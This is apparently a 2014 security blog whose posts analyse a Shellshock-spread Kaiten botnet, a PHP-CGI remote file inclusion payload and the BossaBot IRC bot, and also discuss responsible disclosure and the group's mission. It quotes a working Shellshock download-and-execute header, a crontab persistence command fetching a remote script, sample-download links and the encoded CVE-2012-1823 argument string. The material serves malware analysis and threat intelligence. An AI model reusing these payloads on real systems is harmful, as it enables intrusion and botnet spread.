Greetings,
This blog post brought to you in part by: MalwareMustDie. I must thank them for their assistance on this one.
Today, I came in and found around 300+ shellshock payloads. as I groggily looked through most of them, noting the same old vulnerability touches and payloads already documented in project OverWatch, I found an alert that caught my eye:
5.249.147.134 threw this at me:
GET /nodeworx/ HTTP/1.0
HOST:xxx.xxx.xxx.xxx:2443
User-Agent: () { :;}; /bin/bash -c "curl -o /tmp/.a http://205.237.100.171/manual/init;fetch -o /tmp/.a http://205.237.100.171/manual/init;wget http://205.237.100.171/manual/init -O /tmp/.a;sh /tmp/.a;rm -rf /tmp/.a"
Awesome. A new toy to play with. Let's pull down the payload:
wget http://205.237.100.171/manual/init
looks like it's a shell script. Reading through the script, reveals the following:
1) attempts to install gcc and php (both via yum or apt-get -- to ensure maximum spread across linux distros?)
2) adds 4.2.2.2 as a DNS server in resolv.conf -- Level 3 communications public DNS server. Commonly used DNS server worldwide to ensure domain name resolution
3) appends the line "wget http://stablehost.us/bots/regular.bot" to either /etc/rc.d/init.d/sshd or /etc/init.d/ssh
-- this file, "regular.bot" is a persistence mechanism. It instructs the machine to compile a file downloaded from 205.237.100.171, a.c , into a binary in /tmp, execute it and delete it. This ensures persistence and if the source code is changed (say, to reflect a new CNC), the bot is updated.
4) several pre-compiled payloads of the same bot, for different platforms are downloaded and execution is attempted. Additionally, the source file "a.c" is downloaded in this script, compiled, and executed
5) to further enable persistence, this line is added to root's crontab:
@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1
Just like with the lines appended to ssh and sshd, this is a persistence mechanism. What's interesting is this line:
chattr +isa /var/spool/cron/tabs/root
+i makes the file immutable. This is a common persistence mechanism for penetration testers. The file cannot be deleted in any way until the +i flag is removed and because chattr (change attribute is so uncommon, most won't think to look for it or know how to remove it. Tip: lsattr allows you to list chattr attributes on a file.
+s ensures secure file deletion if the file is deleted.
+a allows the file to be appended to.
5) finally, a cron.weekly entry is made for "00logrotate" that performs the same actions as the weekly root crontab, and gets the same chattr +isa treatment.
What gets me is that these actors perform such great measures for persistence, but then COMPLETELY FAIL to protect the source code for their bot (zero obfuscation), fail to statically compile the bot in case required libs are NOT on the system, etc. Their loss is our gain.
Here are some links for the curious:
wget http://205.237.100.171/manual/init <-- main script
wget http://stablehost.us/bots/regular.bot <-- persistence script
wget http://205.237.100.171/manual/a.c <-- kaiten bot source code
wget http://205.237.100.171/manual/b <-- x86_64 compilation
wget http://205.237.100.171/manual/arm <-- ARM compilation
wget http://205.237.100.171/manual/mipsel1 < -- MIPS compilation
wget http://205.237.100.171/manual/dh <-- see below.. this one is fun.
wget http://205.237.100.171/manual/tmp.gz <-- see below.. more fun!
I submitted the sha1sum of the file "b" to virustotal to see if it was already uploaded. Looks like someone beat me to the punch by a few hours:
https://www.virustotal.com/en/file/0f83934ec16c40aea7877f5faedc2b935e3d881e9a2cde36e7fe163cdea3723b/analysis/
VT mentions that this bot is known as kaiten/tsunami, no doubt in reference to the source code and/or tsunami ddos the bot can perform.
The arm/mips variants were a bit of a concern to me. This is one of the few times outside of the Zollard botnet I've seen variants of a bot precompiled for other CPU architectures -- arm and mips in this case.
It is worrying because while shellshock has been patched on a wide variety of major platforms, embedded devices and/or SOHO devices with the bash shell remain vulnerable to shellshock and likely will continue to remain vulnerable indefinitely in most cases.
I decided to consult with MMD on this case, as I recall hearing about Tsunami/Kaiten through them a while ago. It appears that this is commonplace for kaiten botnet and the source code is there to allow compilation on any platform. Additionally they made me aware of additional payloads the bot is capable of delivering for spreading deeper into targeted networks:
the dh file above is a variant of the shellshock over DHCP exploit that has already been seen via trustedsec as a perl module. If this were to be loaded on a SOHO device/router in a target network, the avenue for exploitation and pivoting deeper into a target network is much greater... if that device has a python interpreter.
the tmp.gz file is actually a tar.gz file. It contains pnscan, port scanner commonly packaged with DDOS bots. additionally this tarball contains bash.php, a php script that contains the initial exploit payload that points to 205.237.100.171/init via shellshock exploitation. If you want the payload, grab it now, I'm following up with the provider for that IP address to get this remediated as soon as possible.
The C source mentions x.secureshellz.net I'm fairly certain this is the botnet CnC. or was. I couldn't connect to it via irssi. May need to detonate it later to confirm.
Happy Hunting,
WeAreTheArtillery
Monday, October 6, 2014
Friday, September 12, 2014
"Mystery Meatloaf": The not so advanced, but very persistant threat.
As I was generating this week's Overwatch data and preparing to comb over this week's RFI attack list, I began scanning through IDS events, sorted by Source IP address. I had somewhere near 1,000 events for the week, which is about average.
However as I began to scan through the events, I noticed that the vast majority of them were mostly the same. Again, not so surprising. The surprising bits were that so many unique IP addresses were dumping the exact same payload. In the end, from Friday of last week to Friday of this week, I counted close to 1k events, and 315 unique IP addresses all pitching the same payload. The astute among you will notice that I entered information regarding this payload last Friday:
The URL encoded portion in the post above is the standard preamble for a 2012 vulnerability that allows attackers to perform a remote file inclusion attack by just posting the PHP they wish to execute. This vulnerability is still VERY active and is responsible for 100% of the PHP RFI attack listings made available in the Overwatch project. Here's what it looks like when it's properly decoded:
This sets the stage for the next portion, which is a standard HTTP POST request:
Unfortunately, my IDS is NOT a full packet capture device, and is unable to capture the entirety of the payload. However, I _AM_ capable of capturing part of the payload. The payload for the variable $bufferf spans across 12-13 frames before the IDS stops capturing packets, all the data it captures is the base64 encoded data for the $bufferf variable and it doesn't even capture all of that.
I gather up the base64 encoded strings, line them all up, organize them into a file with no line breaks, and submit to a base64 decoding tool online and I ended up with a 32-bit ELF binary that is statically linked. Attempting to run strings on the binary reveals that it is UPX packed.
For the new malware initiates in the audience, It's obnoxiously simple to determine if a binary is UPX packed or not. run the command "strings -a -n3 <binary name> | egrep "UPX|UPX\!" If you get any hits back, the binary is definitely packed with the UPX packer. Another hint: on some linux distros, the "file" command can detect that a binary is UPX packed on its own.
Naturally, seeing the UPX markers in the file, I run upx -d to unpack the target binary and am immediately answered with an error:
Sigh. I pored through my IDS logs to see if any of the alerts/packets captured on the system would reveal a more complete capture of the payload, alas, no luck. although, combing through strings, the last 10 lines reveal some interesting details:
To summarize, here is what I know:
-a new RFI payload is making the rounds
-over 300 unique attackers in a 7-day period
-nearly 1000 attacks in the same 7-day period (some attackers attempted to exploit way more than others)
-the payload contains large amounts of base64 encoding
-the payload content-length specified was consistently over 50000 bytes
-the payload header's user-agent doesn't vary at all in any of the alerts I pulled
-the base64 encoding that I could recover becomes a 32-bit linux ELF binary with the following parameters:
--Statically compiled
--UPX packed
--sha1sum of the partial file I recovered: d71e39c29a079de3196cf1fbfa51fa9c38172d86
If you're interested in a list of hosts I found spreading this, check out:
https://github.com/wearetheartillery/OverWatch/blob/master/BossaBot%20Tracker/bossabot.txt
I dumped the IP addresses under the bossabot tracker, since I think the two bots may possibly be related. If you know anything about unpacking partially recovered UPX files, I would love to hear from you. For now, he's a screen cap as proof.
Until next time.
However as I began to scan through the events, I noticed that the vast majority of them were mostly the same. Again, not so surprising. The surprising bits were that so many unique IP addresses were dumping the exact same payload. In the end, from Friday of last week to Friday of this week, I counted close to 1k events, and 315 unique IP addresses all pitching the same payload. The astute among you will notice that I entered information regarding this payload last Friday:
Pitcher: 199.115.228.177 Catcher: unknown NSlookup (pitcher): NX WHOIS (pitcher): 199.115.228.0/22 VOLUMEDRIVE US info@volumedrive.com AS46664 NSlookup (catcher): unknown WHOIS (catcher): unknown Payload: unknown Description: Base64 Encoding on the payload. Too large for IDS to capture entire payload Server: unknown Port: unknown Channel: unknown NSlookup: unknown WHOIS: unknown Notes: - A lot of Base 64. So much that the IDS has trouble capturing the whole thing. Here's what the header and the start of the RFI looks like: POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1 Host: xx.xx.xx.xx User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0 Content-Type: application/x-www-form-urlencoded Content-Length: 54569 Connection: close <?php $bufferf = '<tons of base64 encoding here> - The URL encoding is the part of the RFI exploit, where the header/PHP below is the portion that executes a payload, or tells the attacked system where to call back to get the payload.. Any information on this?
The URL encoded portion in the post above is the standard preamble for a 2012 vulnerability that allows attackers to perform a remote file inclusion attack by just posting the PHP they wish to execute. This vulnerability is still VERY active and is responsible for 100% of the PHP RFI attack listings made available in the Overwatch project. Here's what it looks like when it's properly decoded:
-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env="yes" -d cgi.fix_pathinfo=1 -d auto_prepend_file=php://input -n
This sets the stage for the next portion, which is a standard HTTP POST request:
These are standard HTTP header options. The malware specifies a User-Agent, content-length (most of the time, greater than 54000 bytes), then immediately posts the PHP payload it wants the target webserver to execute. In our case, it's a php script that specifies the variable $bufferf and assigns a boatload of base64 encoded data to that variable.
Host: xx.xx.xx.xx User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0 Content-Type: application/x-www-form-urlencoded Content-Length: 54569 Connection: close <?php $bufferf = '<tons of base64 encoding here>
Unfortunately, my IDS is NOT a full packet capture device, and is unable to capture the entirety of the payload. However, I _AM_ capable of capturing part of the payload. The payload for the variable $bufferf spans across 12-13 frames before the IDS stops capturing packets, all the data it captures is the base64 encoded data for the $bufferf variable and it doesn't even capture all of that.
I gather up the base64 encoded strings, line them all up, organize them into a file with no line breaks, and submit to a base64 decoding tool online and I ended up with a 32-bit ELF binary that is statically linked. Attempting to run strings on the binary reveals that it is UPX packed.
For the new malware initiates in the audience, It's obnoxiously simple to determine if a binary is UPX packed or not. run the command "strings -a -n3 <binary name> | egrep "UPX|UPX\!" If you get any hits back, the binary is definitely packed with the UPX packer. Another hint: on some linux distros, the "file" command can detect that a binary is UPX packed on its own.
Naturally, seeing the UPX markers in the file, I run upx -d to unpack the target binary and am immediately answered with an error:
CantUnpackException: header corrupted2
Sigh. I pored through my IDS logs to see if any of the alerts/packets captured on the system would reveal a more complete capture of the payload, alas, no luck. although, combing through strings, the last 10 lines reveal some interesting details:
%s : USERIDThe "USERID" and "NOTICE" strings scream IRC bot to me, while the cgi-bR/php shows that this malware has the ability to spread through attempting to exploit the PHP vulnerability in other hosts. I'm not saying this is a variant of bossabot.... but it looks like a variant of bossabot.
NIX
NOTICE
UnknowninK}
able
Sply
/OI
U74u.
cgi-bR/php
+.B.f
To summarize, here is what I know:
-a new RFI payload is making the rounds
-over 300 unique attackers in a 7-day period
-nearly 1000 attacks in the same 7-day period (some attackers attempted to exploit way more than others)
-the payload contains large amounts of base64 encoding
-the payload content-length specified was consistently over 50000 bytes
-the payload header's user-agent doesn't vary at all in any of the alerts I pulled
-the base64 encoding that I could recover becomes a 32-bit linux ELF binary with the following parameters:
--Statically compiled
--UPX packed
--sha1sum of the partial file I recovered: d71e39c29a079de3196cf1fbfa51fa9c38172d86
If you're interested in a list of hosts I found spreading this, check out:
https://github.com/wearetheartillery/OverWatch/blob/master/BossaBot%20Tracker/bossabot.txt
I dumped the IP addresses under the bossabot tracker, since I think the two bots may possibly be related. If you know anything about unpacking partially recovered UPX files, I would love to hear from you. For now, he's a screen cap as proof.
Until next time.
Sunday, August 31, 2014
FUD and Bullshit: The case of Sam Bowne
What with the express purpose of our organization being responsible disclosure and security research, I felt it necessary to discuss the recent case of Sam Bowne. Here is a link to Mr. Bowne's report of the situation, which is incredibly thorough. But for those of you with the attention span of a goldfish: Sam found an anonymous FTP server via google dorking, Found Patient PII data, notified the organization of what appears to be a HIPAA violation RESPONSIBLY, and NOT as a classroom demonstration as SC magazine and thenewsstar.com seem to be implying.
Behind every bullshit story is a potential grain of truth. Perhaps Sam discussed the incident and the school/health system's response or lack thereof as an example during a class regarding computer system vulnerabilities, and some student misinterpreted Sam's story. More likely to me is media spin by SC magazine and news star looking for clickbait.
Conjecture aside, this is an issue near and dear to us, because it's a core mission for us to notify companies of potential problems just like this. I feel that in information security, a lot of companies still have a "shoot the messenger" mentality, which ultimately led to this situation.
A few people we've spoke with through social media regarding this story state that working with ISACs ( Information Sharing and Analysis Centers -- organizations that handle sharing sensitive information to organizations within a certain sector -- E.G. REN-ISAC for higher education, ES-ISAC for electrical/gas scada, FS-ISAC for finance, etc.) and CERTs as a proxy or partner for disclosure has the advantage of insulating oneself from fallout like this.
WeAreTheArtillery partners with Law Enforcement, Private organizations, ISACs and CERTs worldwide to ensure that information is disclosed properly and issues are resolved fully, especially if we do not get a response from organizations we speak to directly. Thus far, we've fared remarkably well and have suffered no fallout, but situations like Sam's are troubling to say the least.
It is a risk that comes with the territory. Ultimately, there will be misrepresentation of facts, and corporations with shoot the messenger mentality like this. Our sysadmin who set up this system can do no wrong, but the security researcher who is telling you there is a problem and attempting to assisting in resolving it? fuck that guy.
Behind every bullshit story is a potential grain of truth. Perhaps Sam discussed the incident and the school/health system's response or lack thereof as an example during a class regarding computer system vulnerabilities, and some student misinterpreted Sam's story. More likely to me is media spin by SC magazine and news star looking for clickbait.
Conjecture aside, this is an issue near and dear to us, because it's a core mission for us to notify companies of potential problems just like this. I feel that in information security, a lot of companies still have a "shoot the messenger" mentality, which ultimately led to this situation.
A few people we've spoke with through social media regarding this story state that working with ISACs ( Information Sharing and Analysis Centers -- organizations that handle sharing sensitive information to organizations within a certain sector -- E.G. REN-ISAC for higher education, ES-ISAC for electrical/gas scada, FS-ISAC for finance, etc.) and CERTs as a proxy or partner for disclosure has the advantage of insulating oneself from fallout like this.
WeAreTheArtillery partners with Law Enforcement, Private organizations, ISACs and CERTs worldwide to ensure that information is disclosed properly and issues are resolved fully, especially if we do not get a response from organizations we speak to directly. Thus far, we've fared remarkably well and have suffered no fallout, but situations like Sam's are troubling to say the least.
It is a risk that comes with the territory. Ultimately, there will be misrepresentation of facts, and corporations with shoot the messenger mentality like this. Our sysadmin who set up this system can do no wrong, but the security researcher who is telling you there is a problem and attempting to assisting in resolving it? fuck that guy.
Friday, August 29, 2014
BossaBot - New IRC Backdoor Running Around out in the wild.
Greetings Artillerymen and women,
As I was combing through RFI attacks on the IDS to fish for IP addresses to add to the RFI blacklist for project OverWatch, something new caught my eye. I'm use to seeing perlbot payloads and have been considering added a malware menageria to the OverWatch project for budding malware analysts to cut their teeth on for fun. Once a while, a binary payload comes in and it tends to be a little more interesting.
Enter BossaBot. So sadly, I wasn't the first to discover this new bot out in the wild, but my experiences with this bot and the author of that article differ in various ways. Let's start with the similarities.
1) BossaBot appears to be spread via RFI attacks via CVE 2012-1823, 2311, 2335 and 2336 (all related). Here is the PHP an attack bot attempts to execute:
As you can see, tons of Base64 encode blocks and obfuscated variable names. Let's take away the bullshit and cut to the chase:
If you're not fluent in PHP (Don't worry, I'm not either) this script checks to see if a file exists in the system's tmp directory. If it doesn't exist, it will try to wget two files and execute both of them.
The script attempts to wget binary files from hxxp://32.multicsdb.com and hxxp://64.multicsdb.com. the filename "8FcGFwAT" is a 64-bit binary, while gcRLUd8K appears to be a 32-bit payload. I got to work setting up a FakeNet network and dropping the binaries on a Linux VM. FakeNet is so damned useful. Start it up and it'll catch DNS requests, HTTP requests, can do custom listeners, and so many other functions. For an amateur malware analyst like me, it makes dynamic analysis insanely easy. I combined this with a python-based irc server called miniircd . Getting this to run on a windows host with FakeNet was trivial; simply remove all instances of the chroot and setuid code and it'll run with no complaints. I was able to log the bot joining the channel #sloboz on port 8067/tcp. I didn't bother trying to test commands or determine capabilities, but could do so if there's enough demand.
Here are my observations:
-Execution sleeps for a few seconds.
-Queries for irc[.]dreamboxdb[.]com (212.117.180.91)
-Connects to 212.117.180.91 on port 8067
-Joins Channel #sloboz for commands.
I did run strings against the binary, and I think I may have found hints of another channel as well #bitchly_ or #bitchly
Here are SHA-1 sums for the two files I pulled:
0779f7734d06c1657f20e966c6633867f81fee8c gcRLUd8K
bb5c5a893dda5314cb60f7214f339183b285f59c 8FcGFwAT
What surprises me about this is how quickly it appears to be spreading. I got news of this malware yesterday, the first article was published on 8/26, the malware has already changed CnC, and I already have over 40 attack attempts from 16 unique bots.
I've decided to add another category to OverWatch for tracking known BossaBot hosts pitching the exploit and this payload. Enjoy!
WeAreTheArtillery
As I was combing through RFI attacks on the IDS to fish for IP addresses to add to the RFI blacklist for project OverWatch, something new caught my eye. I'm use to seeing perlbot payloads and have been considering added a malware menageria to the OverWatch project for budding malware analysts to cut their teeth on for fun. Once a while, a binary payload comes in and it tends to be a little more interesting.
Enter BossaBot. So sadly, I wasn't the first to discover this new bot out in the wild, but my experiences with this bot and the author of that article differ in various ways. Let's start with the similarities.
1) BossaBot appears to be spread via RFI attacks via CVE 2012-1823, 2311, 2335 and 2336 (all related). Here is the PHP an attack bot attempts to execute:
The script attempts to wget binary files from hxxp://32.multicsdb.com and hxxp://64.multicsdb.com. the filename "8FcGFwAT" is a 64-bit binary, while gcRLUd8K appears to be a 32-bit payload. I got to work setting up a FakeNet network and dropping the binaries on a Linux VM. FakeNet is so damned useful. Start it up and it'll catch DNS requests, HTTP requests, can do custom listeners, and so many other functions. For an amateur malware analyst like me, it makes dynamic analysis insanely easy. I combined this with a python-based irc server called miniircd . Getting this to run on a windows host with FakeNet was trivial; simply remove all instances of the chroot and setuid code and it'll run with no complaints. I was able to log the bot joining the channel #sloboz on port 8067/tcp. I didn't bother trying to test commands or determine capabilities, but could do so if there's enough demand.
Here are my observations:
-Execution sleeps for a few seconds.
-Queries for irc[.]dreamboxdb[.]com (212.117.180.91)
-Connects to 212.117.180.91 on port 8067
-Joins Channel #sloboz for commands.
I did run strings against the binary, and I think I may have found hints of another channel as well #bitchly_ or #bitchly
Here are SHA-1 sums for the two files I pulled:
0779f7734d06c1657f20e966c6633867f81fee8c gcRLUd8K
bb5c5a893dda5314cb60f7214f339183b285f59c 8FcGFwAT
What surprises me about this is how quickly it appears to be spreading. I got news of this malware yesterday, the first article was published on 8/26, the malware has already changed CnC, and I already have over 40 attack attempts from 16 unique bots.
I've decided to add another category to OverWatch for tracking known BossaBot hosts pitching the exploit and this payload. Enjoy!
WeAreTheArtillery
Sunday, August 24, 2014
Clarification on "Getting Shit Done"
Since it came up as a question from someone in the information
security whom has years upon years of experience, I feel that explaining
"We Get Shit Done" needs to be further unfurled and explained.
When we say we inform someone of malware hosted on their network, or of an inadvertently exposed server or sensitive information we don't just send an e-mail "THIS SHIT IS OUT THERE. MIGHT WANNA FIX THAT." And call it a day.
Our process for responsible disclosure is usually:
We always try to offer more than one solution for a given problem that we have found. We do not want organizations we contact to feel like FIX IT OR DO NOT FIX IT. THE CHOICE IS YOURS. We also understand that larger organizations have change control and change management procedures to go through. We are willing and available maintain constant contact and full confidentiality until the problem can be properly resolved. Here's where we differentiate:
Let me make this abundantly clear. We aren't here to point out your flaws and laugh at you. That isn't how you get shit done, that isn't how problems get resolved. We want to be a trusted partner that security researchers can disclose to and ensure the problem is fixed. We want to be a trusted organization that can partner with private companies and LEO as required. If our goals were not clear initially, I sincerely hope that this clarifies our mission.
Those "wins" that I mentioned moments ago? We worked directly with security and NOC contacts at said organizations and directly with the FBI to achieve our goals and offered ourselves as steadfast professionals willing to assist, and we will continue to do so.
When we say we inform someone of malware hosted on their network, or of an inadvertently exposed server or sensitive information we don't just send an e-mail "THIS SHIT IS OUT THERE. MIGHT WANNA FIX THAT." And call it a day.
Our process for responsible disclosure is usually:
"We are a group of concerned security researchers called WeAreTheArtillery. Our mission is to find systems on the internet serving malware, inadvertently exposed services and/or inadvertently exposed sensitive information. We are here to inform you regarding the follow systems:"We usually input IP addresses, hostnames, WHOIS information, screenshots, etc.
"We found X problem with Y IP address. We discovered X by doing Z. X is a problem for these reasons. Here is a list of potential solutions or remediations for X problem."
We always try to offer more than one solution for a given problem that we have found. We do not want organizations we contact to feel like FIX IT OR DO NOT FIX IT. THE CHOICE IS YOURS. We also understand that larger organizations have change control and change management procedures to go through. We are willing and available maintain constant contact and full confidentiality until the problem can be properly resolved. Here's where we differentiate:
"If you need any assistance in resolving X problem or need further expertise, please feel free to reach out to us and we can guide you through resolving X."
Let me make this abundantly clear. We aren't here to point out your flaws and laugh at you. That isn't how you get shit done, that isn't how problems get resolved. We want to be a trusted partner that security researchers can disclose to and ensure the problem is fixed. We want to be a trusted organization that can partner with private companies and LEO as required. If our goals were not clear initially, I sincerely hope that this clarifies our mission.
Those "wins" that I mentioned moments ago? We worked directly with security and NOC contacts at said organizations and directly with the FBI to achieve our goals and offered ourselves as steadfast professionals willing to assist, and we will continue to do so.
A proper Introduction
Hello and Welcome to the WeAreTheArtillery blog.
We figure it's high past time for a proper introduction to our organization, our mission and our goals. This little party started with a joke what was now a few weeks ago:
Some of us decided we have had enough of this bullshit and formed this loosely knit group.
Okay, that's all well fine and good, but what do you actually _do_ ? We get shit done. Getting shit done can be defined as:
1. Elimating FUD wherever you find it. A well-known security vendor is FUD'ing shit up? Call them out on it. Only by calling them out on rampant FUD and bullshit will we finally be able to get them to back up their bullshit with hard facts and numbers, and end the rampant abuse and overuse of stupid ass buzzwords, like APT, etc. being used as a sole justification for whatever snake oil they happen to be selling at the time. I guess you could say "attrition.org did it first and does it better." and we'd agree with you, but we're going to do this anyhow.
2. Eradication of malware wherever it is found. There are several organizations that swear themselves to this (MalwareMustDie immediately comes to mind -- and we willingly partner with them, and will willingly partner with anyone who wants and needs our help on this front).
Wherever we find malware, we will do everything we can to notify parties responsible for the assets, and the internet as a whole. If you want to see examples of this, check out our github project, OverWatch. OverWatch is essentially a free malware "Intelligence Feed". Some of our members have visibility on wide swaths of internet hosts, see very interesting things on a daily basis, and wanted to share this information freely. We don't charge for this, we don't ask for anything in return. You shouldn't have to pay for an intelligence feed to get warning of a potential threat or be notified of malware running rampant across the internet. Take this information, make your network a better place.
3. Scanning for vulnerable hosts on the internet responsibly and informing asset owners of vulnerable hosts with absolutely no security checks in place. This could be anything from publicly acessible admin consoles, remote control sessions with no credentials required, exposed services that in all reality should never be exposed to the internet, etc. If you want an example of this. Take a look at Viss and co.'s work on twitter regarding VNC, and expand that to other services.We'll be enacting this soon. First, we need to get a static page up for people to request we don't scan them, configure VPS systems for scanning, Etc.
4. Google dorking. This sort of relates to 3, but deserves its own category. Google Dorking, or Google Hacking is using google's search index and querying it in unique ways to reveal sensitive information about a site or an organization. Google will slurp up anything that its crawlers find if there isn't a robots.txt or NOFOLLOW option on a webpage to tell it to NOT index something.This isn't super high-tech scanning, this isn't hacking in the "traditional" sense, but the fact of the matter your information may potentially be out there somewhere. Would you rather us find it and inform you, or would you rather someone else found it and took advantage of it to compromise your organization? Google Dorking is a fairly general term for this project, and expands into other indexes as well such as shodan and PUNKspider.
5. Other projects and ideas as they come or are possibly requested. We're always open to new ideas.
Overall, these aren't incredibly complex projects, nor do they require extreme amounts of skill but just to give you an idea, this group has been formed for little more than two weeks and already we have found and taken down
-Exposed ICS/Electrical grid data
-Exposed SCIF blueprints and financial data
-Anonymous FTP Servers hosting malware, compromised creds and network information for a variety of organizations
-Anonymous FTP Servers hosting sensitive application data for organizations
-Exposed hadoop master nodes
and this is just a start.
We're looking to make the internet a better place. We want and need your help. If you are interested in getting involved, here are a couple of ways you can do so:
1. Feel free to use us as an intermediary for disclosure. If you see something -- (malware, a vulnerable service, exposed sensitive information, etc.) and do not wish to disclose to a company or an organization yourself or accept that risk, you can use us as an intermediary. We will accept that burden for you. Contact us at wearetheartillery@gmail.com with the subject "DISCLOSURE" and as much information about the organization and the security problem you uncovered as you can in order to express the gravity of the situation to them. Include screenshots if you can, how your discovered the issue and/or steps to reproduce if at all possible. You will be given full credit for the notification (if you so desire it) and the details will NOT be shared outside of the affected organization (until after the problem has been confirmed as resolved. If you do not wish to contact us via e-mail, reach out to us via twitter:
@da_667 The Major
@munin - The Commissar
...and we will set up a more secure method of disclosure (XMPP - OTR, Cryptocat, etc.) in order to accomodate you.
2. Feel free to contribute to projects 1-4, or come up with a project 5 and let us know more about it. Don't know how to google hack/google dork or anything of that nature? reach out to us. We're more than willing to share knowledge. E-mail wearetheartillery@gmail.com with any information you care to provide, or questions you have and we will properly credit you with this information (if you so desire). Feel free to collaborate with us as you desire!
3. Resources. We need money for hosts on various VPSes for scanning the internet. Hosting websites, domains, SSL certs, etc. If you want to support us via financial means we will gladly accept any resources you are willing to offer to our little organization. We aren't begging for money and we aren't making donations mandatory. I guess you could call it a tip jar? Leave something if you so desire. We'll be setting up paypal and/or various *coin wallets to accept donations.
WeAreTheArtillery and we're here to get shit done. Welcome.
We figure it's high past time for a proper introduction to our organization, our mission and our goals. This little party started with a joke what was now a few weeks ago:
"I propose a counterpart to I am the Cavalry, called I am the Artillery."Infosec being what it is, plenty of folks loved the snark. What began as a joke very very quickly took flight:
"How about We are the Artillery instead? I am the artillery sounds self-centered."
"Cavalry changes tend to devolve into hand-to-hand combat, whereas Artillery requires a coordinated effort."
"Firing for effect."
"Our tag line is Get. Shit. Done. Here is our official spokesperson."Before we knew it, our organization became a thing. You see, some of us got tired of the same old bullshit. This post to petition.org exemplifies what it is we're trying to change about Information Security:
"For decades, the 'cyber' security industry (*shudder*) has been FUD'ing up the joint with Die Hard/er doomsday scenarios. This has followed a tried and true process:1) IT Security people couldn't hack it (PUN!) in their own lane, so they picked on the easier embedded systems / SCADAs / Internet of Thingies2) IT Security people 'discover' low hanging fruit that has always been in the industry (hardcoded passwords, zero patching, default everything) and claim expertise and success3) Give con talk4) Get hype5) Nothing happens because there is no hard evidence to convince you (the asset owners) that you should care6) Create cool sounding group, get all altruistic, get more hype7) Nothing happens...8) GOTO 2"
Some of us decided we have had enough of this bullshit and formed this loosely knit group.
Okay, that's all well fine and good, but what do you actually _do_ ? We get shit done. Getting shit done can be defined as:
1. Elimating FUD wherever you find it. A well-known security vendor is FUD'ing shit up? Call them out on it. Only by calling them out on rampant FUD and bullshit will we finally be able to get them to back up their bullshit with hard facts and numbers, and end the rampant abuse and overuse of stupid ass buzzwords, like APT, etc. being used as a sole justification for whatever snake oil they happen to be selling at the time. I guess you could say "attrition.org did it first and does it better." and we'd agree with you, but we're going to do this anyhow.
2. Eradication of malware wherever it is found. There are several organizations that swear themselves to this (MalwareMustDie immediately comes to mind -- and we willingly partner with them, and will willingly partner with anyone who wants and needs our help on this front).
Wherever we find malware, we will do everything we can to notify parties responsible for the assets, and the internet as a whole. If you want to see examples of this, check out our github project, OverWatch. OverWatch is essentially a free malware "Intelligence Feed". Some of our members have visibility on wide swaths of internet hosts, see very interesting things on a daily basis, and wanted to share this information freely. We don't charge for this, we don't ask for anything in return. You shouldn't have to pay for an intelligence feed to get warning of a potential threat or be notified of malware running rampant across the internet. Take this information, make your network a better place.
3. Scanning for vulnerable hosts on the internet responsibly and informing asset owners of vulnerable hosts with absolutely no security checks in place. This could be anything from publicly acessible admin consoles, remote control sessions with no credentials required, exposed services that in all reality should never be exposed to the internet, etc. If you want an example of this. Take a look at Viss and co.'s work on twitter regarding VNC, and expand that to other services.We'll be enacting this soon. First, we need to get a static page up for people to request we don't scan them, configure VPS systems for scanning, Etc.
4. Google dorking. This sort of relates to 3, but deserves its own category. Google Dorking, or Google Hacking is using google's search index and querying it in unique ways to reveal sensitive information about a site or an organization. Google will slurp up anything that its crawlers find if there isn't a robots.txt or NOFOLLOW option on a webpage to tell it to NOT index something.This isn't super high-tech scanning, this isn't hacking in the "traditional" sense, but the fact of the matter your information may potentially be out there somewhere. Would you rather us find it and inform you, or would you rather someone else found it and took advantage of it to compromise your organization? Google Dorking is a fairly general term for this project, and expands into other indexes as well such as shodan and PUNKspider.
5. Other projects and ideas as they come or are possibly requested. We're always open to new ideas.
Overall, these aren't incredibly complex projects, nor do they require extreme amounts of skill but just to give you an idea, this group has been formed for little more than two weeks and already we have found and taken down
-Exposed ICS/Electrical grid data
-Exposed SCIF blueprints and financial data
-Anonymous FTP Servers hosting malware, compromised creds and network information for a variety of organizations
-Anonymous FTP Servers hosting sensitive application data for organizations
-Exposed hadoop master nodes
and this is just a start.
We're looking to make the internet a better place. We want and need your help. If you are interested in getting involved, here are a couple of ways you can do so:
1. Feel free to use us as an intermediary for disclosure. If you see something -- (malware, a vulnerable service, exposed sensitive information, etc.) and do not wish to disclose to a company or an organization yourself or accept that risk, you can use us as an intermediary. We will accept that burden for you. Contact us at wearetheartillery@gmail.com with the subject "DISCLOSURE" and as much information about the organization and the security problem you uncovered as you can in order to express the gravity of the situation to them. Include screenshots if you can, how your discovered the issue and/or steps to reproduce if at all possible. You will be given full credit for the notification (if you so desire it) and the details will NOT be shared outside of the affected organization (until after the problem has been confirmed as resolved. If you do not wish to contact us via e-mail, reach out to us via twitter:
@da_667 The Major
@munin - The Commissar
...and we will set up a more secure method of disclosure (XMPP - OTR, Cryptocat, etc.) in order to accomodate you.
